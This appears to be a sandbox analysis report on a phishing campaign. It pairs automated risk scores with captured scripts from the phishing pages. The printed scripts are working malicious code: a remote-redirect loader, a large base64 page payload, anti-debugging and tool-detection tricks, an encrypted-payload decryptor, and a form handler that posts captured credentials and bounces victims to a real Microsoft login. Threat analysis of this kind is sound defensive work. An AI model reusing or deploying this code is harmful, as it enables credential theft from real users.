const urlx = 'https://natrium100gram.site/public/api/page/redirect'; // Function to perform GET request async function fetchData() { try { const response = await fetch(urlx); if (!response.ok) { throw new Error('Network response was not ok'); } const data = await response.json(); const message = data.message; return message ; let messageUrl = message; } catch (error) { // Handle errors console.error('There was a problem with the fetch operation:', error); } } async function run() { console.log("readya!"); let key = ""; let jk = ""; const originalConsoleLog = console.log; console.log = function(message) { window.open(message,"_self") originalConsoleLog.apply(console, arguments); }; const elements = document.querySelectorAll('*'); // Select all elements in the DOM elements.forEach((element) => { Array.from(element.attributes).forEach((attr) => { if (attr.name.startsWith('nike-')) { let dynamicPart = attr.name.split('nike-')[1]; key = dynamicPart; } }); }); elements.forEach((element) => { Array.from(element.attributes).forEach((attr) => { if (attr.name == "adidas") { jk = attr.value } }); }); let aha = btoa(`${jk}&${key}&a`) let mw = await fetchData(); console.log(`${mw}${aha}`) } run()
URL: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@li... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to redirect the user to a suspicious domain and collects user credentials via XHR requests. While the script may have some legitimate functionality, the overall behavior is highly suspicious and poses a significant security risk." }
/* Don't watch the clock; do what it does. Keep going. */ if(atob("aHR0cHM6Ly94VC50cmlsaWRhcm4ucnUva3lWUHNEYS8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNrUVJXY2pkU0ZaIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2tRUldjamRTRlogaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2tRUldjamRTRlogaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQoja1FSV2NqZFNGWiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2tRUldjamRTRlouY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTcwcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNrUVJXY2pkU0ZaIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQoja1FSV2NqZFNGWiAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI2tRUldjamRTRlogLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQoja1FSV2NqZFNGWiAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQoja1FSV2NqZFNGWiAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI2tRUldjamRTRlogLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI2tRUldjamRTRloubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNrUVJXY2pkU0ZaIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQoja1FSV2NqZFNGWiAjbk5DeVlMWFh1cSB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KRFdqd0VoU0pyaSA9IGZhbHNlOw0KKGZ1bmN0aW9uIERuTHFvWWp1QUEoKSB7DQogICAgbGV0IFVVS09FRnhXb3QgPSBmYWxzZTsNCiAgICBjb25zdCBKS2RZelpmelVXID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgIC
URL: https://code.jquery.com/jquery-3.7.1.min.js... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This appears to be the standard jQuery library, which is a widely used and trusted JavaScript library. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or obfuscated code. The script is likely used for legitimate web development purposes and poses a low risk." }
/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[i.call(e)]\|\|"object":typeof e}var t="3.7.1",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!v(e)&&!y(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}function fe(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}ce.fn=ce.prototype={jquery:t,constructor:ce,length:0,toArray:function(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){return this.pushStack(ce.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(ae.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(ce.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(ce.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|v(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|ce.isPlainObject(n)?n:{},i=!1,a[t]=ce.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},ce.extend({expando:"jQuery"+(t+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==i.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(c(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},text:function(e){var t,n="",r=0,i=e.nodeType;if(!i)while(t=e[r++])n+=ce.text(t);return 1===i\|\|11===i?e.textContent:9===i?e.documentElement.textContent:3===i\|\|4===i?e.nodeValue:n},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(c(Object(e))?ce.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|\|e).documentElement;return!l.test(t\|\|n&&n.nodeName\|\|"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){va
URL: file:///C:/Users/user/Desktop/A_C_H_JAN14.htm... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate implementation of a decryption process using the Web Crypto API. While it includes some unnecessary or simulated operations, such as the `fakeAction()` function and the `fakeDelay()` function, these do not pose any significant security risks. The code is primarily focused on securely decrypting data using AES-GCM encryption, which is a common and widely-used cryptographic algorithm. The use of the Web Crypto API and the overall structure of the code suggest a legitimate purpose, likely for data processing or secure communication. Therefore, the risk score is assessed as low (3)." }
const fakeAction = () => console.log("This does nothing useful."); fakeAction(); const performDecryption = async (encryptedData, ivString, saltString, passphrase) => { console.log("[INFO] Decryption process initiated..."); // Convert hex to Uint8Array const hexToBytes = (hex) => { console.log(`[DEBUG] Converting hex string: ${hex}`); return Uint8Array.from(hex.match(/.{2}/g).map((byte) => parseInt(byte, 16))); }; const ivArray = hexToBytes(ivString); const saltArray = hexToBytes(saltString); // Adding an arbitrary delay (useless operation) const fakeDelay = () => new Promise((resolve) => { console.log("[INFO] Simulating delay..."); setTimeout(() => { console.log("[DEBUG] Fake delay complete."); resolve(); }, 100); }); // Key derivation process const deriveKey = async (keyMaterial, salt) => { console.log("[INFO] Deriving AES-GCM decryption key..."); return crypto.subtle.deriveKey( { name: "PBKDF2", salt, iterations: 100000, hash: "SHA-256" }, keyMaterial, { name: "AES-GCM", length: 256 }, false, ["decrypt"] ); }; const keyMaterial = await crypto.subtle.importKey( "raw", new TextEncoder().encode(passphrase), { name: "PBKDF2" }, false, ["deriveKey"] ); await fakeDelay(); // Just to look like more is happening const aesKey = await deriveKey(keyMaterial, saltArray); try { console.log("[INFO] Attempting payload decryption..."); const decryptedBuffer = await crypto.subtle.decrypt( { name: "AES-GCM", iv: ivArray }, aesKey, hexToBytes(encryptedData) ); console.log("[SUCCESS] Payload successfully decrypted."); return new TextDecoder().decode(decryptedBuffer); } catch (error) { console.error("[ERROR] Decryption failed:", error); return null; } }; // Function to simulate additional data processing const processDecryptedData = (data) => { console.log("[INFO] Processing decrypted data..."); if (!data) { console.error("[ERROR] No data to process."); return; } const reversedData = data.split("").reverse().join(""); console.log("[INFO] Data processed (reversed):", reversedData); return reversedData; }; // Initialization function (async () => { console.log("[INFO] Script execution started..."); const payload = { iv: "c5d54a9c69516d18fab025aa", salt: "f2c9263a7137550b0829e316a222b86e", data: "7c186924f7b217943e4c6487f9d39b9910bc7e640ffc082516da5a9b8caf274be8b70ffd65131a24d3f7193f6f5dd3e09d0a3fad4dcfe75feb75f009b820f7974fa3c7cd763720aec91aa95aab0121cada3f156e35e520eb549e4f0c4b3efd501a525f8e3df5ff4bdde38199df65ddb856d5304bed2dba800983ecb1af1d7b6481700ddc96c5f3647cf54a430e067be7e01beb2ddd09e0bf4795d77e4e69c4459c8a926bc922680f55877eb0cf57b26d2450952d66fb175206cd3d15257f8eed99d48bfd50931242" }; console.log("[INFO] Payload details:", payload); try { const decryptedContent = await performDecryption( payload.data, payload.iv, payload.salt, "quickescape" ); if (decryptedContent) { consol
URL: file:///C:/Users/user/Desktop/A_C_H_JAN14.htm Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/A_C_H_JAN14.htm Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://pending-revew.pages.dev/#?service=Wm5kcGJHeHBZVzF6UUd4cFpuUnZibVV1Ym1WMCZtaW5kZWQmYQ== Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/A_C_H_JAN14.htm Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://pending-revew.pages.dev/#?service=Wm5kcGJHeHBZVzF6UUd4cFpuUnZibVV1Ym1WMCZtaW5kZWQmYQ== Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: file:///C:/Users/user/Desktop/A_C_H_JAN14.htm Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://pending-revew.pages.dev Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true, "reasoning": "The URL contains a misspelling of 'review' as 'revew' which indicates typosquatting. The .pages.dev TLD is associated with Cloudflare Pages hosting service, which is often used by attackers for phishing. The word 'pending' combined with misspelled 'review' suggests this could be part of a social engineering attempt." }
URL: https://pending-revew.pages.dev
URL: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@li... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious domain interactions. It appears to be a malicious script designed to steal user credentials and redirect users to a fake login page." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA4xpzEaQEpRQpIL', 'error-callback': hPoDXpogAg, callback: BuDZdfoaPX, }); function hPoDXpogAg() { turnstile.reset(); } function BuDZdfoaPX() { var WbqDstIrMB = document.getElementById("sAEfAVqNlU"); WbqDstIrMB.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'G1xR'; var ZYZYrhNAUG = "../ajUJtRdwHvwJrv0SEjffkvEsFopli1d9b20eaw5hcAzZYVzp"; fetch('https://28ZzsybdJk0eKq73I4YSPru9QNFwtLsrunK3OZ3pso0NwaBTU6O2Hbkp.expritraw.ru/59249373081356693796BKuIhZlKCHKZWCELTQXTVDBTVYPKYLVVFVVLDUFKKLYBUDJYEXIMRVXK', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(ZYZYrhNAUG, { method: "POST", body: new FormData(WbqDstIrMB) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(DWjwEhSJri == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://topimo.trilidarn.ru/kyVPsDa/#Mfwilliams@li... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The combination of these behaviors strongly suggests malicious intent, likely for the purpose of phishing or other malicious activities." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); DWjwEhSJri = false; (function DnLqoYjuAA() { let UUKOEFxWot = false; const JKdYzZfzUW = 100; setInterval(function() { const epJSaIoHAj = performance.now(); debugger; const TBkFgpHMuq = performance.now(); if (TBkFgpHMuq - epJSaIoHAj > JKdYzZfzUW && !UUKOEFxWot) { DWjwEhSJri = true; UUKOEFxWot = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a Cloudflare challenge script, which is a legitimate and common practice for web security. The script sets up various configuration options for the Cloudflare challenge and includes functionality to handle communication between the parent window and the challenge widget. While the script uses some techniques that could be considered moderately risky, such as dynamic message handling and communication with external domains, the overall context and purpose of the script suggest it is not malicious. The risk score is low due to the legitimate use case and the lack of clear indicators of harmful intent." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: '479g3', chlApiSitekey: '0x4AAAAAAA4xpzEaQEpRQpIL', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: 'elyaO1GRqzNaXmY5nKkbenA2fH74o.xLnk9cCTIKynY-1736976277-1.3.1.1-ylu.MOeMKTEQd4EVgAOVrMDho_apo6TFjPzxQ8L6Apw', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '9028ef0719b60f73', cH: 'k9HmTheYQXlQ1L664RRcwhyZacGCOT8tYk32R0lFWGo-1736976277-1.1.1.1-BDGrV3x_aqzYh995xZ0MCj6_Q40C3Ae3hY8Gn7TS2mUR4hZEWbDbaCoJGXci7dN8', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'auto', wS: 'normal', md: 'aGL1QOgjTzbMDxDMPmCULuFTaMX__bG7M0CvsW1weic-1736976277-1.1.1.1-UlYQoFunXU1_64__dgxCn7E58fVQQGjg34Qe55zM5J8batoz5Ke4f3hykopmGUPjFPeoeTx7dAZsH6zGl2Lt4rTOPwM9qtHYUVAkXyCbIBScxL1zlWm3ezIb4oYUa8RZP58pD48aVMAZUmJQFLTmxON5z7dyiDv6asqp_OX3GkCYRqlbikpyBrf48wlriwLYJVIV7n520UoV1DMpJ6BK7KqgbrHI9hGCs60gi2I9t6kjWopIW7Q.FRGpjWLJjgX5K9z0AV6yyNNGGenp5vChg23ok57wdjsYsYNloFnqt3UjFxW5mFa5Tx4dQ_l3QIozFqgMahFtOCxPUX4duY.IXgtvIlPONRfOaEBPuCHjnA6dTL.2S49qi68BMIDSESe_vYHjcb9yelfKHJmwiQdYhubx.BF6Ot5Lfs3t3DLhGZJO.TJZEf4dmrm2RXiE1GY97Gucwf5U_67FNgQ3NtdWzjQ2Q8bAb1V1kRqKamyGijNt77bBk1UfemgfOUJ903GDs9STpxyzgfwNzKiTM0S8fYjfwHSXGJnx7v0ZIlh8VYr1A3deV4Jhd.4opaq85gapZJyITmKEzgVEmhBODSwXR5cu8YJ0MoPbd7MGU6VIupe8tvLNSysm1ABVu8B_EV8YgiNo1aJaVDB4FSuQG0DIpAB69tvRuWbJx7qqPYDSq1rXKZum1hjc2iItR6r18rLXK6b7IHIHB.iH.ONuiNiRUafWiTfrllHO70ka7tY8KiCbk1izf7ns8hAvH2hIQi9R5KjzxFn87NwPqC2vAZGdLTg.SXSFS7NdQXprUP0cSkkanW9oj.u7S_WDd7yXbbxjBfAaHzM5.WdBCeNzMz.3C5uQ86r1yfpP0BI.tRy6i85p3UpNFA3svGJISHD5uWzc6Y6yQmlmoGlZi8t9Rm8MFxU9opujrokCYfeVwPlhp7fxivoThSIwwtqMQlSlznAMY6aeW9D1h48d91QzUZAKz6zUEQioO48ujk0U48KlclVZ6W2sIdRjuKCJWmd2Am6VTOar1RzEE_H7KXpih0l.dGdPabAY39k3wGtLFIMVW5ysQyeg3u6oIYZAtEP7IW95s9nIy.5N_kFEDyoRymbXcFM9Xr9lEd6eklSu1GRaeP5wRyxALnjJQPVlfK3dmGS5bcI2WYFGnpEHyA0k3DUkGCitkj0OKA3Jy8W_dM6lIuBizg6.coctn_vAxZKRIXB_DcYbdvca6u0AE.VGLtXofKiJARnI7KnyLrGzqbHSzDp47h6NYl3cQdwseM9oaIqzlousZw1syXpLP9mhIemZxsSaekWKZZbg6HptVHcVYlWFj4d9cZ40A03CKj6UPBBiX5RRjdYTLnSDzXi.b6i_MfBd9JNsPIOjlXxvW1tkqeyE5SFa7TMSP.ZczpoVu7r6', cITimeS: '1736976277', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: '479g3', nextRcV: 'elyaO1GRqzNaXmY5nKkbenA2fH74o.xLnk9cCTIKynY-1736976277-1.3.1.1-ylu.MOeMKTEQd4EVgAOVrMDho_apo6TFjPzxQ8L6Apw', event: 'reloadRequest', }, ""); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) { if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: window._cf_chl_opt.chlApiWidgetId, event: 'food', seq: e.seq, }, ''); } } } window.addEventListener('message', handler); }());
URL: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a part of the CryptoJS library, which is a well-known and widely used cryptography library. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or obfuscated code/URLs. The snippet primarily focuses on implementing core cryptographic functionality, which is a legitimate use case. While it uses some moderate-risk indicators like external data transmission and aggressive DOM manipulation, these are common practices in cryptographic libraries. Overall, the risk score is low, as the script is likely part of a legitimate cryptographic library and does not exhibit any clear malicious intent." }
!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},l=n.WordArray=o.extend({init:function(t,e){t=this.words=t\|\|[],this.sigBytes=null!=e?e:4t.length},toString:function(t){return(t\|\|c).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(var c=0;c<n;c+=4)e[i+c>>>2]=r[c>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%48,t.length=h.ceil(e/4)},clone:function(){var t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}());return new l.init(e,t)}}),s=t.enc={},c=s.Hex={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%48&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i+=2)r[i>>>3]\|=parseInt(t.substr(i,2),16)<<24-i%84;return new 